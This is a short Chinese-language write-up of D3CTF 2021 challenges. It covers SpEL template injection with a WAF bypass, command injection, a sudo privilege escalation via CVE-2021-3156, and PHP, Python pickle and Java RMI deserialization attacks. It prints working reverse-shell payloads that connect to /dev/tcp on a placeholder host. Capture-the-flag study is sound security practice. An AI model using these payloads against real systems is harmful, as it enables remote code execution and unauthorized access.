D3CTF2021 WriteUp
Web#
Happy_Valentine’s_Day#
/love页面注释发现/1nt3na1_pr3v13w页面为所制网页的在线显示。填入的name存在于所制网页中显示,考虑ssti。
测试后[[${}]]可执行spel表达式注入。用%0a绕过waf,rce,反弹shell。
发现/flag权限仅root读,用户权限为web。lsb_release -a显示为Ubuntu20.04,sudo版本为1.8.31,可使用CVE-2021-3156提权读取。使用https://github.com/Rvn0xsy/CVE-2021-3156-plus 提权cat /flag得到flag。
ssti payload:
1 | name=[[${%0aT(java.lang.Runtime).getRuntime().exec('%2fbin%2fbash+-c+bash%24%7bIFS%7d-i%24%7bIFS%7d%3e%26%2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f10000%3c%261')}]]&password= |
Pool Calc#
b处输入存在命令注入,payload:1; bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8888 0>&1" #
,反弹shell。
在/app/calc_tools中得到三个容器的客户端,全是序列化数据的操作,考虑分别构造恶意序列化数据rce。
PHP部分:
client是个phar包,解包后Calculator.php中定义了__invoke魔术方法,考虑远端使用$var()调用序列化结构。可以参考rctf2020 swoole题目。官方exp无法打通,怀疑未开启mysql功能。使用另一个利用array_walk构造变量名调用exec的方法,成功rce,反弹shell,调用根目录程序得到flag。
payload构造:
1 |
|
exp:
1 |
|
Python部分:
简单的pickle,但我是直接从tmp目录下找了脚本。
1 | import socket, sys, _pickle as pickle, argparse |
Java部分:
RMI Registry在java_calc的8080端口,利用attackRmi工具的AttackRegistryByLookupAndUnicastRef来攻击,上传jar到外层主机上,远程起一个JRMPListener,Gadget是CC5,攻击后反弹shell后在根目录下执行getflag获取
Misc#
shellgen2#
用Array“[]”和数字相接,得到字符串Array,取idx=3得到字母a。使用++可得到数字3以及字母a-z。变量名使用$_[_09]*,26个变量名长度不超过4。最后使用<?=和.拼接字母。
payload:
1 | import itertools |